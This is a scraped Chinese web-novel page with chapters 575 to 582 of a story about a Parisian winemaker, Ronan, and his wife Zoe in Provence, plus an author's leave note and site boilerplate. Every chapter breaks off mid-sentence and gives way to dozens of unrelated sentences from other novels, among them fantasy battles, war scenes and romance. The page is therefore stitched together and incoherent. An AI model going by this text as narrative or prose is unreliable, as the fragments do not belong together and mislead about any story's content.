听说他刚上高一不到一个月,就开始询问卢卡斯是否能跟着他一起进山找松露,提前三年给自己的高中选好了结局。 吉拉尼不爱学习,但家教和修养还不错。 听到妈妈的召唤,他只用了10秒钟就出现在罗南和佐伊的面前,但高效的代价是——他的头发像被雷劈了一样根根竖起。 罗南记得,在婚礼上见面时,吉拉尼的头发有披肩那么长,只看背影,差点脱口而出‘这位小姐’。 可想而知,他现在的造型有多哇塞。 连一向沉稳内敛的佐伊都看不下去了,取下手腕上的皮筋递给吉拉尼: “我记得你从小就开始留头发,居然留了这么多年?” 吉拉尼小时候也是佐伊的‘迷弟’,一家人搬去城里时哭的可伤心了,不舍得漂亮姐姐。 “哦,谢谢。”吉拉尼接过皮筋,开始收拾自己的造型,“我爸爸想要个女儿,从小把我当女孩养,后来我看习惯这个发型,就一直没改。” “挺好看的。”罗南衷心的夸赞,“村子很多艺术家都是这个发型,而且你让我想到了和歌迪亚一起组乐队的成员。” 歌迪亚来卢尔马兰开店前,在艾克斯玩乐队。 在罗南和佐伊的婚礼上,这只乐队合体贡献了几个超炸的片段。 “你说的是那只重金属乐队吗?他们超级酷!”吉拉尼的手在头顶不停摆弄,“我一直很喜欢摇滚乐,尤其是迷幻摇滚,但卢尔马兰接收不到音乐电台,平时也看不到乐队表演。” 罗南迟疑了一下: “这些确实不好找,但卢尔马兰可以玩的东西挺多,你平时还喜欢什么?” 吉拉尼想都没想,脱口而出: “我喜欢摇滚乐,喜欢看电影,喜欢看八卦杂志,还喜欢去钓鱼。” 罗南一时间语塞。 要不是吉拉尼没有任何思考的时间,他一定会认为对方是故意刁难自己。 他的这些爱好卢尔马兰全部没有! 随即,他用眼神向妻子佐伊寻求帮助。 快,帮帮我,话要落地上了! 佐伊眼睑低垂,很快想到了‘答案’: “歌迪亚懂摇滚乐,我可以介绍你们认识,说不定你们能组出一支属于卢尔马兰的摇滚乐队;老教堂广场上经常会放露天电影,下次放的时候我来接你和艾米丽一起去看;如果你喜欢听八卦,就多在村子里转转,我发誓,即使在卢尔马兰购买杂志不方便,你也可以第一时间知道外面的消息,甚至比外面了解的更加‘细节’;至于钓鱼卢尔马兰周围没有可以钓鱼的场所,不过其他体育活动挺多的,隔壁梅纳村就有一支足球队,他们经常踢比赛。” 吉拉尼的表情逐渐丰富起来: “那个足球队参加的是什么等级的赛事?现场可以点燃冷焰火吗?诶,稍等,稍等一下。” 他突然站起来,跑去厨房: “妈妈,帮我一下,这个头绳我死活绑不上。” 沙发上的罗南和佐伊再次默契的互看一眼,异口同声的问。 “卢卡斯命真苦。” “你觉不觉得眼熟?” 罗南无奈的摇了摇头,压低声音说: “我在吉拉尼的身上看到了他叔叔和姑姑的影子.卢卡斯家怎么总是出‘巨婴’啊?” 午餐结束的很快,因为在大城市里生活惯了的人不会把时间浪费在吃饭这件事情上。 短短两个小时接触下来,罗南知道想要让艾米丽和吉拉尼适应新生活还需要不短的时间。 晚上,罗南接到了卢卡斯的电话,把最新的库存情况介绍过后,他问起了阿维尼翁那边的进展是否顺利。 “还需要一些时间。”卢卡斯的声音淡淡的。 卢卡斯是一个骄傲的人,这样的回答等同于在说‘不顺利’。 罗南的声音也淡淡的: “过一阵子我过去找你们。” 阿维尼翁是他的‘地盘’,这边的市场开拓可能要看他了。 卢卡斯没有拒绝,只是有些担心的说: “这次出差的时间会比预期长不少,我很担心艾米丽和吉拉尼那边,有时间你多去看看。” 罗南能看出的问题,卢卡斯自然清楚明白。 他非常放心不下妻子和儿子。 罗南稍作犹豫,斩钉截铁的说: “好,我一定努力让他们尽快适应这里的生活。” 请假条 电脑坏了,也不是坏了,是连不上网了。 折腾了好几个小时,百度,deepseek,小红书各种找攻略改设置全都没用,后来发现是vpn的事。 现在只有打开vpn才能上网,但我这vpn也是个狠角色,每次一连上微信、B站和音乐播放器等好几个软件就无法连接到网络(最神奇的是一个查数据的常用网站会变成H网,至今不知原因为何......)。 我得好好弄弄这个电脑和这个Bvpn了,抱歉,请假一天。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第575章 戒酒,这次是认真的! 略伦特的消息很快给到,这个月伯纳德将去阿维尼翁参加一个品酒会,届时可以安排罗南与其见一面。 罗南把去阿维尼翁见卢卡斯和特奥的时间也定在了那前后,这样去一趟可以办两件事。 在卢尔卡斯回家之前,罗南和佐伊将多抽些时间照顾艾米丽和吉拉尼。 家住的偏远,亲人又不在身旁,如果没有本地朋友在一 脚下的‘城市’,是亚当在法师世界里见过的最破败的地方。黄土垒砌的房子和低矮的城墙,衣衫褴褛的行人,肮脏的街道,种种事物组合勾起了亚当记忆深处的画面。 “我敢保证,这个中国特种兵会在全世界都扬名的!用中国的一句话来说就是不鸣则已,一鸣惊人!这一枪,不但惊艳了整个世界,更让整个世界为之畏惧。”俄罗斯高级将领语气严肃的说道。 情报有误,这一次的入侵仲回星域失败,得重新审视一下神龙帝国的实力才行。 唐果还是听到同学们议论,才知道两人有仇。想想也是,贺晓雅做事情从来不考虑后果,佘广兰心高气傲,看问题偏激。要是两人打起来,他也好趁机溜了。反正合照,他刚刚已经拍到了,回家跟阿母也有交代。 贺晓雅感染上的猪线虫,已经由手腕蔓延到了手背以及手肘。一双手臂,就像得了麻风病,有的地方很白,有的地方很暗,皮一层一层的掉。 至少从目前来看,荆州城还稳稳当当的在贼军手里,据探子所报,马进忠和王允成围城大半月进试探攻城一次。 专利!一项专利最低的,也可以卖几千上万,高的上不封顶,百万千万是常有的事。 而且都是一些比较有身份的人物,钢翼帮中死的人中有一个堂主,这一堂的人几乎被别人屠杀干净。 影灵者老王,其实是在看到冷夜两人出来时,就已经果断选择了跑路。 离开风暴夜总会之后,胡铃儿找了个僻静的地方,身体一转就消失不见,回自己洞府去了。 “那就行,你可别乱跑了你要是真的失踪了,我们可不知道要怎么和苏少爷和苏夫人交待了。”护士有些埋怨地看着白母,本来她就是突然被要求加班的,她们护士之间都对白母印象不怎么好。 “别别,你弟妹特意嘱咐了我,谁也不让说这事,要静养、静养!她呀天天给我提醒不能借生病搞腐败等等,你说,老弟我是那种人吗?”李忠信一拍大腿,情绪激动,演技一百分。 所以,在卫世宇离开,易蒲辛忽然回头的时候,直接也就走了过去。 景北辰没说话,把轲俊俏抱在怀里,抱到隔壁病房轻轻放到床上。 现在张明晗明明是死了,可还有人去追踪季亚薇,那么也就是代表着是有问题了……除了张明晗,还有其他人参与。 如果叶依依因为他而受丁点伤害,他就等于成了家族里的遗弃之子,现在他在家族里的地位就不高,好在他爸最疼爱叶依依,叶依依又跟他最亲,才让他在叶家有点说话的地方。 “那为了思思的安全着想,你怕是走不了了。”宋立新看着他风轻去淡的样子,一时不知道要不要信他,但是在没有弄清楚之前,他是不会让他走的,更不会让他再跟思思接触。 任新阳当然同意,如果不同意,她会要求电话或视频解决,那就连面都见不到。 第576章 真假罗南 罗南和佐伊去拜访夏洛特的起因是没有邀请她参加婚礼,为了弥补这一遗憾,准备了精美的礼物登门拜访。 夏洛特的庄园坐落于卢尔马兰的西北角,差一点点就到隔壁村,不过卢尔马兰就巴掌那么大,虽然在很偏远的地方,开车20分钟也能到了。 几天前两个人在卢卡斯家看到了许多罐头——城里人不喜欢在吃饭上浪费时 所以,她今天在杀死陈嬷嬷的时候,没有一点手软,她是带着巨大的恨意在报仇的。 这么一来户部衙门的同僚们可是沾了光了,每天都有不亚于知味坊味道的午饭可以吃,毕竟若云也不好意思只送楚子恒的,他那一块办公的同僚自然是也是会一块带上的。 而眼前这个大公爵,却是圣君九星巅峰,其余七个,也都在圣君四星和圣君六星之间徘徊。 夜长生心中满是不甘,想他乃是夜家二十岁之下年轻一辈的第一人,就是和夜正明相比,也是丝毫不差的,在夜长生心中,一直以为只有他配得上夜倾城,哪里知道昨天竟然出了那样的传言。 这部“以后会写的狗血mv”终于出现在眼前,还是他亲自主演。 在近侍结结巴巴的语气中,德曼特的脸色恢复了正常,只不过他的声音中那一抹阴冷却是任谁都能够听的出来。 叶寒更加纳闷了,不是先天灵宝,也不是灵器,那这到底是什么玩意? 倒不如如实上报,让她们俩元婴拼个你死我活,咱坐收渔翁之利岂不是更好? 它能让人情绪低落,让人泪流满面,让人咬牙切齿怒斥塑造这一切的人。可它同样能让人一边抹眼泪一边继续看,甚至返回头去反复看,一遍又一遍,沉湎其中无法自拔。 众人就这么一阵的哈拉,等到一直在门外待着的邓舒雨不耐烦的叫喊:“我肚子饿啦!都6点多了!”众人才散去,陈世豪也才解脱出来去开始做饭。 妖月根本没有理会孟飞的称呼,虽然脸色依旧苍白,但是双目之中神色,让人不敢直视。 楚嫣然一时间有些不知道该说什么好,她没想到一直折磨自己的恶魔,居然还有样的来历,要说杀了她有些不忍心,但是要是留着她自己又有些心惊胆战。 为了对付巫凌霄的数百上千根骨刺,宋立前所未有的调动了体内近百分之一的帝火,这才堪堪把所有骨刺全都烧成灰烬。 几人见白泽已经出手,三名只有武师修为的执事,顿时同时出手,将其中一头红眼狂狼拦住,与之战在一处。 当时事态紧急,秦天也没去多想,现在回想起来,他自然得问个明白。 这是一个方位坐标,既然暗幽界也是九天之一,必然广褒无边,一旦自己自己‘迷’路了,那个笑话就闹大了。 “诸位,现在宣布功勋头10名人员的名字!榜上有名者将随军回到城内,享受一晚免费的住宿和晚餐,第二天一早,将在秩序之神的见证下获得杰伦大人的赏赐!”一个军官冲着幸存者们喊道。 毕竟都是圣子级别,虽然敖名自负,但是也没狂妄到随意斩杀其他圣子的地步。 不但如此,他更是几乎把所有的权利都交给郭嘉田豫等这些人才,使他们能够最大限度的去展示他们的才华。 银儿此时已经变换成真身,双翅一震就冲向了眼前百米高的澳洲大龙虾。 第577章 普罗旺斯的‘酒鬼\’们 罗南不清楚是不是所有的黄蜂都喜欢水,但毫无疑问,普罗旺斯的黄蜂就是如此。 在夏洛特发现它们后,整栋庄园里的人都聚集到了人工湖泊的四周,吵吵闹闹的度过了半个小时,黄蜂们仍然浮在浅水区或是在沿岸的小水坑里打盹,用一种淡漠的状态注视着来来往往的人,过程中一点要离开的意思都没有,似乎它们才是这里的主人 但我们这个洗浴中心后面确实养了一批打手,这点早就有人证实过了。 随着伴奏声响起,沐夏摇头晃脑的动了起来,清脆的歌声伴随着可爱的动作充斥着房间里的每个角落。 说完伸手一指,蔡、张两人顺着他的手指看过去,发现桌子上放了一张电路板,就单独的一张,也连了不少线。 对方并没有遵守约定,帮他们除掉南田云子,而是选择去杀柴山兼四郎跟川岛芳子。 紧接着,一阵阵惨叫得声音,就传入他们耳朵中,但他们还没来得及反应,就感觉头上掉下来一个东西,在他们得身边炸开。 因而我必须要真正的自己掌握一套属于自己的人脉关系网,并且要拥有属于自己的手下和棋子。 除去最初被自己打死的白蛇和北边,恐怕面前这两位蛇妖和他们口中的黑风,应该就是剩下的三妖了。 宪兵队中队长石垣东彦看了一眼对方车上的标志,脸色顿时变得很难看。 陈阳从车上下来的时候,明显感觉到今天晚上的饭局肯定不简单。 川岛芳子的经历比起一般人无疑要精彩的多,比起有帝国之花著称的南田云子也是有过之而无不及。 拿起电话,那时代已经有比大哥大轻巧一些的移动电话,为了联系方便上回逛街一人配套一部电话,林柯拿起电话拨通追问怎么这么晚还不回家? 见着恒彦林的回答,对方在这个时候,也是满脸的笑容,冲着恒彦林点头。 林柯暗想果然如梦境一样,大个的老板是个BOSS,可是如果按照自己梦境发展最后会被大个追杀,难道就这么忍气吞声的到最后被追杀的环节?可是今天打了仗就结下梁子,日后怎么办呢? 所以她此刻看上去格外的憔悴,大大的黑眼圈,眼睛还是赤红的。 巴尔哈本不懂爱,因为身材的缘故他不幻想爱情,所以为痞性嘛他只知道占有和夺取,但是此刻,他感觉呼吸都有些局促,不由自主的身往前凑,慢慢的走向玉珠台。 薛颜坐在刘东的身边,手里端着的是偶遇会所最著名的调酒红色契约。 就在她的思绪越跑越远时,突然感受到颈窝里的温润。常翊轻轻笑着,鼻音的震动让她有些怕痒。 而柯季却依然我行我素,很显然他虽然看不起常翊,却并不清楚常翊到底为什么会招人厌弃。 这么吵闹,他竟然像是什么都没有听到,舒服的闭着眼,韩瑾雨好奇的凑了过去。 不过坐在身侧桌对面这位也并没有提他的身份,反而一言一行完全将自己当做一位普通精灵。 这个时候,宝塔的大门突兀间就被打开,秦浩看到了,在宝塔里,竟然坐着一具骷髅,这是一具黑色的骷髅,两团幽幽的火焰出现在骷髅的眼眶之中,看上去极为的诡异。 这人正是赵沈平,他在天上见陈玄奘逃过一劫,又原谅了那些村民,知道他心中大善大勇,无畏无惧,如此人物想要度化入魔,只靠在背后以诡计推动,估计很难成功。 叶窈窕坐起来,擦干了眼泪,伸手拿过放在一边的手机,一看到来电显示,却吓得打了打了一个激灵。 赵沈平兑换了功法,便埋头修炼,直到傍晚时分,灵儿有些狼狈的跑了回来,双手间还抱着一个神情惊慌失措的十几岁姑娘。 赵沈平在金刚狼陪同下,去七十年代的纽约逛了大半天后,再次回到了泽维尔天才青少年学校。 “你哪次不这么说?又有哪次不是因为帮了不少忙而被‘感谢’?”玄月已经不想再骂他了。 如果顾兆晴知道郭泱泱这个想法的话,会想要说,她的衣服之所以看不出牌子,是因为很多都是订制的,全家都有专门的设计师每个季度负责订制衣服,当然是没有那种品牌Logo了。 如果再耽误的话,天黑之前,想要找到落脚的地方,恐怕也只能是白日做梦了。 沈静容深吸一口气,只能将如今的屈辱压下,日后,她定然是要找机会还回去的。 虽没有十里红妆,可十里红妆算什么,能与太后和先帝所赐恩德相提并论?何况还是如此天厚之礼。 “八嘎,你们坂田大佐眼里还有没有我,为什么迟迟不肯回我电报?”沈泉刚刚挨近村上隆昌,就被他抬手狠狠打了一巴掌。 表面冰冷,实际内心温柔的她,大概想给还没铸成大错的初中同学,一个改过自新的机会吧。 这些变异野狼的体型比普通野狼更高大魁梧,那牙齿更是尖锐如钢刀,泛着森寒的光芒,四只爪子粗壮有力,露出的指甲像是锋利的刀刃。 不过林辰倒是没有觉得有多少压力,毕竟他身上可背着一条锁链,那是属于阴阳生死咒的。 那名侍卫吓了一跳,并下意识地往后退。可还是晚了一步,让沈宗明抓住刀柄就将刀从他腰间拔出。 第578章 你已经被盯上了! 特奥说,婚姻是男人的枷锁,只要被套上就拼命的想要逃出来,去阿维尼翁出差的这段日子,他过得无比精彩,罗南和卢卡斯通话聊工作时,他经常还没有回来。 但这套理论似乎不适用于他的哥哥卢卡斯,每次卢卡斯和罗南通话,他都会关心地问妻子和儿子的最新状态。 这套理论同样不适用于罗南,虽然只是出差两天、在 “你还是那么阴险呢。”单手握住双手剑,挡住对方的攻击,拉尔娜微微一侧头,黑色的尖刺从头侧直刺而过,深深的刺入地面之中。 丹灵兽的传音在神念中响起,闻言,唐炎心神一紧,但旋即一股浩大的气魄,结作无畏之势,从胸腑间喷薄而出。 全是被弓箭射死的,尸体被同伴带回来了,许东升不得不在宿营的时候找来干柴,将两具尸体烧成骨灰,然后装在坛子里,最后带回大宋,这是那些战死的人,唯一的要求。 “不,夫人您不要把我送走。”王五郎浑身哆嗦,“夫人您不要送我走。”都有人来侯府杀他,到了大理寺,肯定也会派人去杀他的。 一直等到木香转过一处山坡,看不见人影,王喜他们才起程回村子。 许太医也算是个有医德的,听说是要回乡下义诊,自己带了个‘药’童,带备了不少的草‘药’。 唐炎说着,目光扫过烈家的一众武者,尤其在烈逍身上多停留了片刻。 “九天之后我们就要离开了,我要不要见见岳父?”铁心源见赵婉要走,连忙问道。 “全面搜索,绝对不能放过一个漏网之鱼!”杨腾吩咐全面清扫战场,然后和猿王带着几只绿头猿来到异兽存放宝物的洞穴。 修者本是肉身凡胎,修行的过程,就是让这具肉身褪去凡俗的过程。 即便上官家族这些长老有阵法相助,可超脱境跟圣人境高手差的太远了。 郝智深对这段故事非常了解,只是想开心一下,所以让孙悟空和猪八戒都按照西游记原著的剧情来。 莫羽的“烈焰寒冰斩”立刻和骆修的“血霸斩”立刻撞击到了一起,莫羽的“烈焰寒冰斩”立刻就被骆修的刀气给劈碎了;刀气立刻就劈向了莫羽瞬间就从莫羽的身上穿了过去。 这些兽宠虽然虽然不懂道之玄妙,但是身体强度极为恐怖,攻击力也是十分惊人,至少许飞跃现在是绝对不敢进去惹他们的。 唐士渊忍不住怒道,毛飞也跟着大喊,他们觉得协会几十年的根基,不会被毁灭。 “你……”李雨潇听到‘老男人’这三个字眼的时候,不由得桃脸一红,露出一副怒色,而且龙战说的还是‘两个’,这无疑是在玷污他李雨潇的清白。 这下氛围变得沉闷了,大家隐隐的对峙了起来,随时有可能开战。 大魔王风波正式平息,事情传到仙门长老那里,他们紧张地开了一个会。 松了一口气的同时,他看向简柳和诸葛音的对手,遇上的都不是本军营的,是沐风和南雀的人,他作为裁判有着所有参赛者的信息,自然也包括他们两人对手的信息。 连气个半死的段义也缓缓的静下心来,好像对人生有了一些顿悟感,确实遇到最喜欢的生活状态,陪着最想陪伴的人是多么值得欣慰的事。 尹清逸往前走了走气喘吁吁的坐在了一棵树下,如今她是真的没有力气再折腾了。 第579章 进军阿维尼翁市场 ‘狡猾的巴黎佬’们在普罗旺斯葡萄酒界闯出了一番名堂,被赋予了新的名字——巴黎新酒农。 有人说巴黎新酒农狡诈,也有人说巴黎新酒农排外,但不管他们有怎样的问题和毛病,罗南巴黎人的身份货真价实。 因此他不在那个‘外’的范围内。 亏的罗南以为事情进展如此顺利,伯纳德细心解答疑惑是中间人略伦 龙天威一脸为难地看着徐志灵,知道娘亲向来说到做到,若是自己不同意,娘亲必定会用许多的办法来对付蓝翠。可是,自己曾经答应过蓝翠要保护她的,又怎么能够忍心去伤害她? 清晨的阳光洒进了一间装饰奢华的屋子,一双妖魅的眼睛慢慢地睁开了,伸出一条白皙丰腴的手臂,轻轻地摸了摸躺在她身侧那个闭着眼睛还在睡梦中的俊郎英气的脸庞,嘴角微微上扬,一脸得意。 “梅香你说,我保证不打断你说的话了。”苏梦瑶呵呵一笑,伸出食指犹如发誓似的那般正式。 最后一只出现的古朗基是一个月之前的一只滋集团的蝙蝠种古朗基,虽然进化到了究极形态,但对于此刻的张烨来说弱到了爆,根本没有心情去和那只古朗基作战。 随着邪龙之火的一点一点注入,焚寂已经变得通体梁红,并且逐渐呈现透明的趋势。 “怎么什么都没有,难道被那些蟲人先拿到跑了?”一个精灵族队长不解问道。 二来,这三位均是胸怀天下的存在,洛方的昆仑虚恰好又是人族的希望所在,单纯为了这一点,他们也会出手。 故而他们对此事更加好奇,所以烈凤的成圣竟是惹得越来越多人的开始关注。 然后,胡供奉双手捧着吴天所给的丹药,然后他释放出一股真气,鉴别丹药的性质,一会,胡供奉已经嘴巴都合不拢。 如此一来,一年之后华南圣城将会引来前所未有的机遇,若是不能抓住机会,他们的家族也将会陷入万劫不复的境地。 几人商量了许久,才达成一致,决定在半月之后,包括傲宇在内的七人,一同进入天坑中。 因为就算他现在在外面抛头露面,也完全是仗着万事通刚刚起步,真正了解的人,并不是太多的缘故。 白菲菲大惑不解的看着楚昊然,她实在是不明白楚昊然为什么会有这样的自信,难道楚昊然还有什么计划是她不知道的? 午饭时间早就过去了,集市上有恢复了热闹,原本足足有六米的宽阔大道,此刻也显得有些拥挤不堪。 六位化源境强者,像这样的阵容,就已经足以碾压整个西域,若不是忌惮鬼殿之人,恐怕萧炎早就带人找上门去,又何必等待他什么十日之后。 只要没有达到兵级,三十六就可以轻易解决,毕竟他们早些年遭受的那些罪,并不是白白遭受的。 天已渐渐迈入寒冬,枯皱的黄叶、肥硕的果实经受不了冷风的侵蚀,无奈的离开了树的怀抱,几经飘荡,最终落向那寒冷的冻土中。 原本雨季稀疏的阳关,此时更是无法穿越滚滚如浪潮的黑幕分毫,能看见的光芒,只是那不断在城市中爆裂的火光。 “啪!”天厉头也没回的就是朝着彦山的头上拍了下去,很突然,但没什么力道,而且彦山也是很机灵的躲开了,于是坐在他身边的闲锁,很无辜的受了这个巴掌。又不敢出声。 第580章 口是心非的男人们 罗南提议在阿维尼翁多待一天,可以看场话剧再回卢尔马兰,一年一度的戏剧节,错过有点可惜了。 路易支持罗南的提议,他还没有带着他的‘小甜心’去过剧院。 但两位女士提出了反对意见。 佐伊着急回去给帕特里西亚打电话铺垫斯特斯加的正事。 主理人莉亚不放心甜品烘焙店的装修情况,一天都不想 这是他深思熟虑之后的结果,目的就是想用正式武者的身份,来为自己正名。 要是进入仙人模式提升感知能力的话,时间又太久,大蛇丸恐怕早就跑了。 郁辞赶到大丽山脚下时,纪悠染正失魂落魄地坐在路边,白着一张脸,双臂抱着自己瑟瑟发抖。 跨过火盆,身上谷豆打在身上又落下去,哗啦啦的声音,顾温心耳边只有喧闹的声音,只会跟着牵着自己的那双手走。 程百战不是武者,但由于常年身处高位,本身自带一股不怒自威的气势。 当见到火仙看都没有看火鸦们就直接飞进了火窑,这些老者不由得松了口气。 那背影隐没在夜色中,他脚步像是生了铅,站在原地竟半分迈不开步子,喉咙里也说不出一句话。 卫青见状,也毫不犹豫地送出了十根斗手一号,对他们来说,这不过是毛毛雨,权当是给洛璃讲故事时的茶水钱。 曹操闻言,觉得有些道理,又默默地将扣在桌上的饭扫进了碗里。 “师弟是做大事的人,让一些垃圾整天骚扰怎么行?就让我帮你打扫了。”姜妍赔笑道。 “回来了?”项伯示意季心坐在对面,随口问道,却没有让季心喝茶,在他看来,季心这种只知舞刀弄剑的粗人是不懂茶的味道的,他们好的是酒。 更妙的是,那个田园一直闭门思过·之后又被责令出门游历,这才回来,想必还没听过自己的名声,偏偏他自己却是众人皆知的好色之徒·这其中,就大有可为。 战阵中的十三人,以各种姿势向各个方向被爆发的能量抛出,有人挥舞法杖企图稳定身形,有人翻着跟头乱飞,有人发出胡乱的剑芒护身向下直坠。 等等,第一关时,宁岚也是说的三个月能够走出,可自己却足足用了三年。 我一笑,知道她此话一出,基本上算已经和我好回来了。开心之下,便低头大口的吃起了我的饭。 毛儿立起来了,刷的一下,就跟过电“般,挺恶心知四玳允。 我很想伸手扳过她的脸来仔细看看她到底是谁,可是忽然间,我体内又是一阵翻江倒海,一股强烈的呕意,再次袭来。 崔浩见得齐粟娘日日呆愣,只道她想爹娘,又在白杨树林里见了死人,受了惊吓,便时时逗她说话,平日里也颇多照应。过得几日,齐粟娘终是少了些发呆的时间。 韩名劲低头半响,突然眼睛一转。他想起一个能帮自己而且还是情愿帮自己背黑锅的人。不过暂时他不能打草惊蛇的提出来。 六国联军若是集结在一起,抱成一团的话,秦军还真没法下手。若是分散开来,谁都不是秦军的对手,覆灭也就是必然的结局。 两个壮汉在那里对着姑娘兴高采烈的说着什么,姑娘想走,但根本走不出去,基本上她走到哪里,两个壮汉也走到哪里。 “我是问精神波动,这是什么?”见他还在装傻,许果果不介意放大里面的内容。 第581章 彻底清洗计划 当佐伊将罗南的名字登记到入住栏的那一刻起,罗南便没有了回头路——西奥多尔提前给这里的老板打过招呼,今天将会有一位名叫罗南的贵宾前来。 佐伊在室外点了一份午餐,佐餐零食是另外两对夫妻对这所疗养院的无脑吹捧。 跟随前菜一起到来的,还有7位身穿护士服、整装待发的工作人员,她们全部是来接待罗南先 虽然占据了绝对的主动,可以说已经打破了陵江水神的布局,可白玉京却依然保持着冷静,丝毫没有直接下杀手的意思,反而淡淡开口道。 张乾早就忍不住了,这可是至高献祭至宝,能够向道尽之上的概念性境界献祭的祭台。 下午在四合院里吹了太多冷风,蒸完桑拿之后,脸蛋和耳朵一直发烫。 他知道自己身材好,长的好,个别地方也令广大男同胞羡慕不已,但他并不想成为观赏物。 白花花的虫子跟盘王的本体极为相似,甚至是一模一样,但不一会亿万白花花的虫子就起了不可思议的变化。 想明白了这一点,白玉京便索性将这些当做对于自己的一种磨砺,渐渐也将心神放开,疏导自己的欲望,尝试着配合对方的挑逗,只是守住最后一关。 就在巨蟒四处搜索的时候,两人的身体悄无声息的出现在了他的身后。 “你暂且退后吧,那两个家伙我会交给你处置的。”七少朝着她递了一个安慰的笑意。 季茜估摸着自己砸门的声音被她听了去,有些心虚,立即整理了一下自己的仪容仪表,然后才状若无事的拉开卫生间的门走了出去。 “嘿嘿,林浩,今日我就让你来个牡丹花下死,做鬼也风流!”转着手里的钥匙串,于成武非常满意地道。 维英脖子左侧的汗毛在那一瞬间齐齐竖起,伴随着短暂的轻微麻痹感。 奎尼的学校要放春假,在没有找到新的监护人之前,陶老大又把带孩子的任务交给了她。 她这样的人,在京城当中,是注定了不会长远的。走了也好,起码一条命是保住了。将来如何,也与人无尤。 两人随即下了马车,车夫等他们下马后,也缓缓的将马车离开了,和她们走的不是一条道。宁珞心里虽然有些好奇那车夫去了那里,但也相信,白海棠还不至于将她卖掉。 从鄂曦神魔手中接过记载了研究成果的玉简,将他们的成果消化吸收,随手奖励了一番之后,邵逸轩这才回到了自己的闭关大殿之中,闭上了双眸,意识渐渐离体,转入大道视角状态。 此黑面包防火,抗撞,挡刀,防弹。就连激光刀切割起来也颇费力气。 龙族的强大,并不单单是在本身的强横方面,在繁衍后代方面也是十分的强横。 符纸顿时金光一闪,我将他放在了象棋盒子上,符纸下一秒,就发出了红色的光芒。 “怎么,这么晚过来,有事吗?白队昨天很困,别吵醒了他。”景夜的脖子上还挂着湿毛巾,他揉了揉犯困的眼睛,镇定自若的看着他们。 可他好端端地提什么花醉三千?莫不是想让人误以为是花醉三千公子,装个风雅? 林木的这句话说的很讲究,怎么说呢,今个的时候他当着那么多的人怼了人,而且现在还要继续搞事。 “为什么?”姬天赐好奇的问道,他也见过水墨画,虽没有深究,但水墨之中的典雅韵味是西方油画中所没有的。 第582章 自己淋过雨,就想把别人的伞撕烂?! 罗南体验过浴室文化,但那是对同性而言。 在陌生女人面前展示身体这种事......很难想象。 女护士敲了敲玻璃门,催促道: “我先冲洗你的背面,等我敲玻璃后,你就侧过身子。” 罗南和昨天那些客人一样,表情扭捏的紧握住灰色浴袍。 怪不得昨天看到的客人都是这副表情,原来问题出 而叶赫所拥有的空间跳跃就是要比他们的高明上不少,所以只要知道坐标,他只需要一次就可以直抵目的地。 是那低年级的学弟立马把自己的试卷拿了回来,以15分钟速度把自己的那一张试卷给解决了。 青色剑光斩开黑色洪流,又狠狠地将地面斩出一道裂缝,那剑阵也因为这一剑而崩溃,光华消散。 “你是想将计就计?”二人多年的默契,让季蔷只一个动作便能知道她要做什么。 只是他很纳闷,唐门和天斗学院完全是两种建筑风格,一个中式一个西式,怎么就相似了? “放心,只要出了这迷雾森林,迷雾就会稀薄不少,那时我们视野就开阔了,只要找到别的队伍,暗中跟着他们就可以了。”为首的男子淡淡的说道。 等回归关内,田哲就准备向兵部申请,给自己的枪骑兵师每一名骑兵多配备一匹战马,一人两马,能够邪恶带更多的物资,能够让枪骑兵师出关一次在大草原上征战更长时间。 宁风致坐直,是因为他没想到叶赫会在开幕式出现,毕竟他是知道一点叶赫的情况的,因此他没想到叶赫会突然出现在这里。 大家先去灵泉河里清洗身体,然后服下丹药,之后各自休息去了。 这又不是京城,认得他的人并不多,他不该始终束缚着自己,反倒是丢掉了他最该珍惜的。 四皇子卞浩杰下朝后借看望母妃之名来到翠华宫。与贤妃商议这一步行动。 如果有人问她今生有没有做过后悔的事,那么她一定会回答,有。 啪——一道鞭声响起,原来是一个大汉将一个粗如手臂的鞭子抽那些紫狼。 从时璟然在医院中出来之后,从未再提过傅七七,也没有让他再去调查傅七七最近在做些什么。 “谁怕谁是孙子。”男人最怕的就是被人看不起,除了没有他的钱多,其他他自认不输与他。更何况微微在乎的又不是钱,即便在乎,凭他的家世,也一定可以让她和阳阳衣食无忧了。 眼泪不停从她眼角流出,划过了她凝脂般的脸庞。他的心再次疼起来。 “我正打算给你的亲戚本家分配活干……”陈金喜摔了杯后也有点后悔,忙补上话。 看的出来,这巨蟹实力很强,光是身上的硬壳红光闪闪,就知道这巨蟹的壳有多坚硬。 聂婉箩原本挺清醒兴奋的,现被这么一提醒睡意顿时袭来,嘴上还嚷着还要听,可嚷着嚷着就贴在乔能身边睡着了。乔能轻轻拉了被子替她盖好,仔细地端详她许久后微微叹息了一声。 没来由的,她突然想起了齐风,那个同他主子一样不苟言笑却让人无比安心的人,想起他白天之后从她身上收回去的目光,她的心,没来由地往下沉了一沉。 咔嚓一声,赵远航记录下了这一刻,望着定格的两个身影,他陡然间对收服乔能的聂婉箩起了极大的好奇之心。她究竟是个什么来头?能令鲜衣怒马张扬跋扈的二少收敛心性伏首称臣? 释明目瞪口呆,刚才他虽然是目不转睛的盯着罗睺王,却也没有注意到罗睺王到底做了什么手脚。 “呵!”于保国冷呵一声,对自家这个总想着异想天开的老娘们越来越烦躁。 随着秦初葬天棺的一次暴力挥砸,莫无道身躯倒飞出去,飞到了命运长河之外,在莫无道想要朝着外边冲击的时候,命运长河的一个能量漩涡,将莫无道卷到了命运长河内。 一个时辰的时间过去,秦初起身了,身子几个闪烁就到了灵海之上,要渡劫了,他自然不能在人皇山渡劫,那会对人皇山产生破坏。 “没!就是因为太关心我了,所以我内心起了波澜,就压制不住了。”楚狂刀脸上涨红。 若羽走后,天修从西装口袋里掏出了一张支票,放在了病床边的柜子上。 两名团丁一听这话,忙对着曾国藩连磕了三个响头,便厮扶着退出签押房。 他在马上朝着四下望了一眼,整条官道两旁,全都是倒得歪七扭八的军士,五个多时辰的急行军下来,就是骑着马的他都觉着疲累不堪,何况是这些步卒。 岳灵风等的就是这一刻!推开卧室房‘门’闪电般的闯了进去。黄钟公见到有一个‘蒙’面人闯入卧室,心中大惊。可是他还没有来得及做出任何反应,岳灵风双掌一挥。 李牧羊愿意信任陆家人,但是倘若被他们发现自己是一条龙之后,他们是不是还愿意信任自己,那可就是个未知之数了。 